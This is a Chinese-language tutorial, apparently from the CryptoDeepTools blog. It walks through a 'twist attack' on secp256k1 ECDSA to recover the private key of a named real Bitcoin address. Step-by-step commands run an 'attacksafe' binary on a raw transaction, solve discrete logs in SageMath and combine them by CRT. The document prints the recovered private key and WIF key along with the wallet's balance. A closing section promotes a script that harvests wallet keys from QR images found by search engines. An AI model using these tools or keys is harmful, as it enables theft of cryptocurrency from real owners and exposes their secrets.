Twist Attack 示例 #1 執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

不久前，用於標準橢圓曲線的elliptic (6.5.4)包容易受到各種攻擊，其中之一就是Twist Attack。密碼問題出在 secp256k1 的實現中。我們知道比特幣加密貨幣使用的是secp256k1，這次攻擊並沒有繞過比特幣，根據CVE-2020-28498漏洞，ECDSA算法交易的確認方通過secp256k1橢圓曲線上的某些點傳輸部分私鑰值（由 5 到 45 位組成的更簡單的子群）
稱為六位扭曲這個過程非常危險，它會在執行一系列 ECC 操作後洩露加密數據。

在本文中，我們將通過示例實施扭曲攻擊，並展示如何使用 secp256k1 橢圓曲線上的某些點，我們可以獲得部分私鑰值並使用“Sagemath pollard rho”在 5-15 分鐘內恢復比特幣錢包函數：(discrete_log_rho) ”和“中國剩餘定理”。

換句話說，這些特定點是 secp256k1 橢圓曲線上的惡意選擇點

根據 Paulo Barreto 的推文：https://twitter.com/pbarreto/status/825703772382908416 ?s=21

餘因子為3^213^23319*22639

E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5

在運行Twist Attack時，可以通過對“公鑰”（secp256k1 橢圓曲線的選定點）進行一定的選擇來獲得“私鑰”，即揭示交易中的價值。之後，關於私鑰的信息也會被洩露，但是為此你需要執行幾個 ECC 操作。

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6

y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0  = x³ + 0  + 7
b '= -x ^ 3 - ax.

所有點都(x, 0) 落在無效曲線上 b '= -x ^ 3 - ax

讓我們繼續進行實驗部分：

(Рассмотрим Биткоин Адрес)

1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq

(Теперь рассмотрим критический уязвимые транзакции)

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731

打開 [TerminalGoogleColab]。

使用我們的18TwistAttack存儲庫實施Twist Attack算法

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls

安裝我們需要的所有包

requirements.txt

sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

為攻擊準備 RawTX

1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731

RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

保存在文件中：RawTX.txt

為了實施攻擊，我們將使用“ATTACKSAFE SOFTWARE”軟件

訪問權限：

chmod +x attacksafe

應用：

./attacksafe -help

  -version:  software version 
  -list:     list of bitcoin attacks
  -tool:     indicate the attack
  -gpu:      enable gpu
  -time:     work timeout
  -server:   server mode
  -port:     server port
  -open:     open file
  -save:     save file
  -search:   vulnerability search
  -stop:     stop at mode
  -max:      maximum quantity in mode
  -min:      minimum quantity per mode
  -speed:    boost speed for mode
  -range:    specific range
  -crack:    crack mode
  -field:    starting field
  -point:    starting point
  -inject:   injection regimen
  -decode:   decoding mode

./attacksafe -version

"ATTACKSAFE SOFTWARE" 包括對比特幣的所有流行攻擊。

讓我們列出所有攻擊：

./attacksafe -list

讓我們選擇 -tool: twist_attack

為了從易受攻擊的 ECDSA 簽名交易中獲取特定的 secp256k1 點，我們將數據添加 RawTX 到文本文檔中並將其保存為文件 RawTX.txt

0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`

./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt

我們發起了這次攻擊 -tool twist_attack 並將結果保存到一個文件中 SecretPoints.txt

現在看到成功的結果，打開文件 SecretPoints.txt

cat SecretPoints.txt

結果：

Elliptic Curve Secret Points:

Q11 = E1([34618671789393965854613640290360235391647615481000045539933705415932995630501, 99667531170720247708472095466452031806107030061686920872303526306525502090483])
Q21 = E2([68702062392910446859944685018576437177285905222869560568664822150761686878291, 78930926874118321017229422673239275133078679240453338682049329315217408793256])
Q22 = E2([36187226669165513276610993963284034580749604088670076857796544959800936658648, 78047996896912977465701149036258546447875229540566494608083363212907320694556])
Q31 = E3([14202326166782503089885498550308551381051624037047010679115490407616052746319, 30141335236272151189582083030021707964727207106390862186771517460219968539461])
Q32 = E3([92652014076758100644785068345546545590717837495536733539625902385181839840915, 110864801034380605661536039273640968489603707115084229873394641092410549997600])
Q33 = E3([13733962489803830542904605575055556603039713775204829607439941608751927073977, 70664870695578622971339822919870548708506276012055865037147804103600164648175])
Q41 = E4([46717592694718488699519343483827728052018707080103013431011626167943885955457, 6469304805650436779501027074909634426373884406581114581098958955015476304831])
Q61 = E6([47561520942485905499349109889401345889145902913672896164353162929760278620178, 23509073020931558264499314846549082835888014703370452565866789873039982616042])
Q62 = E6([54160295444050675202099928029758489687871616334443609215013972520342661686310, 61948858375012652103923933825519305763658240249902247802977736768072021476029])
Q63 = E6([80766121303237997819855855617475110324697780810565482439175845706674419107782, 43455623036669369134087288965186672649514660807369135243341314597351364060230])
Q64 = E6([27687597533944257266141093122549631098147853637408570994849207294960615279263, 8473112666362672787600475720236754473089370067288223871796416412432107486062])


RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

現在讓我們添加收到的 secp256k1 點

為此，打開Python-script: discrete.py

運行Python-script: discrete.py安裝SageMath

安裝命令：

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath

通過命令檢查SageMath的安裝：sage -v

要求解離散對數，(Pollard's rho algorithm for logarithms)請運行Python-script: discrete.py

運行命令：

sage -python3 discrete.py

結果：

Discrete_log_rho:
5663673254
229
19231
43549
11713353
47161820
13016
6068
1461826
5248038982
9034433903442

PRIVATE KEY:
4843137891892877119728403798088723017104154997204069979961743654961499092503

privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

我們解決了離散對數並使用“中國剩餘定理 (Chinese remainder theorem)”得到了十進制格式的私鑰。

將私鑰轉換為 HEX 格式

私鑰的十進制格式已保存到文件中： privkey.txt

運行 Python 腳本：privkey2hex.py

python3 privkey2hex.py
cat privkey2hex.txt

讓我們打開生成的文件： privkey2hex.txt

十六進制格式的私鑰：

PrivKey = 0ab51e7092866dadf86165ea0d70beb69086237a0e7f5a123d496d3d98e03617

讓我們打開 bitaddress 並檢查：

ADDR: 1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq
WIF:  KwaXPrvbWF5USy3GCh453UDGWXnBSroiKKtE6ebtmHHxGKaRmVD6
HEX:  0AB51E7092866DADF86165EA0D70BEB69086237A0E7F5A123D496D3D98E03617

https://live.blockcypher.com/widget/btc/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/received/

https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/

BALANCE: $ 775.77

來源

攻擊安全軟件

電報：https://t.me/cryptodeeptech

視頻素材：https://youtu.be/S_ZUcM2cD8I

資料來源：https://cryptodeep.ru/twist-attack

密碼分析

Crypto Deep Tech

MrRobotQR 掃描來自搜索引擎的二維碼以搜索比特幣錢包的私鑰

https://www.youtube.com/embed/bNMg2iJhMpg 我們都知道這句話： “互聯網上的一切都會永遠保留在互聯網上並公開可用。” 直到隱藏的內容。大 2021 году 流行帶回了人氣 QR-кодов。它們首次 QR-коды 用於日本1994 году 子公司的生產Toyota ，並在裝配廠引入它們以控制生產的汽車和零件。與條形碼不同， QR-код 它包含更多信息，這促使製造商進行創新。該技術開始主要在亞洲國家傳播，在 2003 году 中國公司 Inspiry 開發了一種特殊的讀取機制 QR-кодов，可以快速完成，從而推動了它的普及。然而，廣泛使用已經在平板電腦和智能手機的大量使用時期。當可以通過可穿戴設備的攝像頭閱讀時。來自中國公司 Inspiry 的設備一方面，二維碼提供了支付的所有便利 BTC，因為你不能花半個小時進行轉賬。將智能手機指向就足夠了 QR-код ，所有填寫字段的付款表格將自行生成，剩下的就是按下按鈕確認付款。 Переводы. оплаты. QR-коды 只是一個不可替代的東西，最重要的是所有這一切都節省了我們的時間。還有一件重要的事情要記住： Googlebot, Bingbot, Baidubot 工作 24/7 並且隨時可以將私人數據存儲在他們的巨型服務器中。為了從搜索引擎深處尋找隱藏的內容，來自著名電視劇《機器人先生》的身穿黑色連帽衫的英雄與搜索機器人完全相反 (Mr. Robot) 。 «MrRobotQR» 是一個開源腳本，可以自動執行從輸入搜索關鍵字到派生比特幣錢包私鑰的過程。需要 Python 3 和 Bash 來運行腳本 Bash腳本： mrrobotqr.sh 自動執行以下步驟：運行 Python腳本： qrcrawler.p y 指定關鍵字搜索和掃描 , 和中的圖像。GoogleBingBaidu 所有找到的圖像都將上傳到一個文件夾 qrbooty ，其中包含每個搜索引擎的子文件夾。然後，該腳本會重命名子文件夾中的文件並將其移動到 qrbooty 具有唯一名稱的文件夾中。下一步是運行 Python腳本： qr2key.py來掃描文件夾中下載的圖像qrbooty 是否存在 QR-кодов ，並檢查它們是否包含比特幣錢包的私鑰。所有私鑰都將保存到一個文本文件中： keylist.txt. 重新處理後，腳本刪除重複項並將唯一密鑰 keylist.txt 輸出到新文件：，該文件將已經包含比特幣錢包的所有唯一私鑰。keylist_unique.txt 安裝和啟動：打開 [TerminalGoogleColab]。讓我們使用“10MrRobotQR ”存儲庫。 git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/10MrRobotQR/ ls 安裝ZBar條碼閱讀器軟件包 sudo apt install python3-dev python3-setuptools python3-pip libzbar0 libzbar-dev 安裝我們需要的所有包、模塊和庫： cat requirements.txt pip3 install -r requirements.txt 文件權限： chmod +x mrrobotqr.sh…

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Twist Attack 示例 #1 執行一系列 ECC 操作以獲取比特幣錢包私鑰的值

餘因子為3^213^23319*22639

讓我們繼續進行實驗部分：

安裝我們需要的所有包

為攻擊準備 RawTX

保存在文件中：RawTX.txt

訪問權限：

應用：

讓我們列出所有攻擊：

`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`

結果：

現在讓我們添加收到的 secp256k1 點

安裝命令：

通過命令檢查SageMath的安裝：sage -v

運行命令：

結果：

將私鑰轉換為 HEX 格式

運行 Python 腳本：privkey2hex.py

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讓我們繼續進行實驗部分：

安裝我們需要的所有包

為攻擊準備 RawTX

保存在文件中：RawTX.txt

訪問權限：

應用：

讓我們列出所有攻擊：

-tool twist_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”

結果：

現在讓我們添加收到的 secp256k1 點

安裝命令：

通過命令檢查SageMath的安裝：sage -v

運行命令：

結果：

將私鑰轉換為 HEX 格式

運行 Python 腳本：privkey2hex.py

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`-tool twist_attack` 使用軟件啟動 `“ATTACKSAFE SOFTWARE”`